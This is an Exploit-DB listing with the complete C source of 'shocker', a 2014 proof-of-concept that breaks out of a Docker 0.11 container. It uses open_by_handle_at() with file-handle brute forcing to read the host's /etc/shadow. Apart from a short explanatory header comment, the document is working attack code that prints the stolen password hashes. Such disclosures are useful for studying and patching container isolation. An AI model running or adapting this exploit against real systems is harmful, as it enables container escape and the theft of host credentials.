Exploit-DB #33808
Description: Docker 0.11 - VMM-Container Breakout
Type: local
Platform: linux
Date: 2014-06-18
Author: Sebastian Krahmer

Exploit:
/* shocker: docker PoC VMM-container breakout (C) 2014 Sebastian Krahmer
 *
 * Demonstrates that any given docker image someone is asking
 * you to run in your docker setup can access ANY file on your host,
 * e.g. dumping hosts /etc/shadow or other sensitive info, compromising
 * security of the host and any other docker VM's on it.
 *
 * docker using container based VMM: Sebarate pid and net namespace,
 * stripped caps and RO bind mounts into container's /. However
 * as its only a bind-mount the fs struct from the task is shared
 * with the host which allows to open files by file handles
 * (open_by_handle_at()). As we thankfully have dac_override and
 * dac_read_search we can do this. The handle is usually a 64bit
 * string with 32bit inodenumber inside (tested with ext4).
 * Inode of / is always 2, so we have a starting point to walk
 * the FS path and brute force the remaining 32bit until we find the
 * desired file (It's probably easier, depending on the fhandle export
 * function used for the FS in question: it could be a parent inode# or
 * the inode generation which can be obtained via an ioctl).
 * [In practise the remaining 32bit are all 0 :]
 *
 * tested with docker 0.11 busybox demo image on a 3.11 kernel:
 *
 * docker run -i busybox sh
 *
 * seems to run any program inside VMM with UID 0 (some caps stripped); if
 * user argument is given, the provided docker image still
 * could contain +s binaries, just as demo busybox image does.
 *
 * PS: You should also seccomp kexec() syscall :)
 * PPS: Might affect other container based compartments too
 *
 * $ cc -Wall -std=c99 -O2 shocker.c -static
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>


struct my_file_handle {
    unsigned int handle_bytes;
    int handle_type;
    unsigned char f_handle[8];
};



void die(const char *msg)
{
    perror(msg);
    exit(errno);
}


void dump_handle(const struct my_file_handle *h)
{
    fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
            h->handle_type);
    for (int i = 0; i < h->handle_bytes; ++i) {
        fprintf(stderr,"0x%02x", h->f_handle[i]);
        if ((i + 1) % 20 == 0)
            fprintf(stderr,"\n");
        if (i < h->handle_bytes - 1)
            fprintf(stderr,", ");
    }
    fprintf(stderr,"};\n");
}


int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
    int fd;
    uint32_t ino = 0;
    struct my_file_handle outh = {
        .handle_bytes = 8,
        .handle_type = 1
    };
    DIR *dir = NULL;
    struct dirent *de = NULL;

    path = strchr(path, '/');

    // recursion stops if path has been resolved
    if (!path) {
        memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
        oh->handle_type = 1;
        oh->handle_bytes = 8;
        return 1;
    }
    ++path;
    fprintf(stderr, "[*] Resolving '%s'\n", path);

    if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
        die("[-] open_by_handle_at");

    if ((dir = fdopendir(fd)) == NULL)
        die("[-] fdopendir");

    for (;;) {
        de = readdir(dir);
        if (!de)
            break;
        fprintf(stderr, "[*] Found %s\n", de->d_name);
        if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
            fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
            ino = de->d_ino;
            break;
        }
    }

    fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");


    if (de) {
        for (uint32_t i = 0; i < 0xffffffff; ++i) {
            outh.handle_bytes = 8;
            outh.handle_type = 1;
            memcpy(outh.f_handle, &ino, sizeof(ino));
            memcpy(outh.f_handle + 4, &i, sizeof(i));

            if ((i % (1<<20)) == 0)
                fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
            if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
                closedir(dir);
                close(fd);
                dump_handle(&outh);
                return find_handle(bfd, path, &outh, oh);
            }
        }
    }

    closedir(dir);
    close(fd);
    return 0;
}


int main()
{
    char buf[0x1000];
    int fd1, fd2;
    struct my_file_handle h;
    struct my_file_handle root_h = {
        .handle_bytes = 8,
        .handle_type = 1,
        .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
    };

    fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014             [***]\n"
           "[***] The tea from the 90's kicks your sekurity again.     [***]\n"
           "[***] If you have pending sec consulting, I'll happily     [***]\n"
           "[***] forward to my friends who drink secury-tea too!      [***]\n\n<enter>\n");

    read(0, buf, 1);

    // get a FS reference from something mounted in from outside
    if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0)
        die("[-] open");

    if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0)
        die("[-] Cannot find valid handle!");

    fprintf(stderr, "[!] Got a final handle!\n");
    dump_handle(&h);

    if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
        die("[-] open_by_handle");

    memset(buf, 0, sizeof(buf));
    if (read(fd2, buf, sizeof(buf) - 1) < 0)
        die("[-] read");

    fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%s\n", buf);

    close(fd2); close(fd1);

    return 0;
}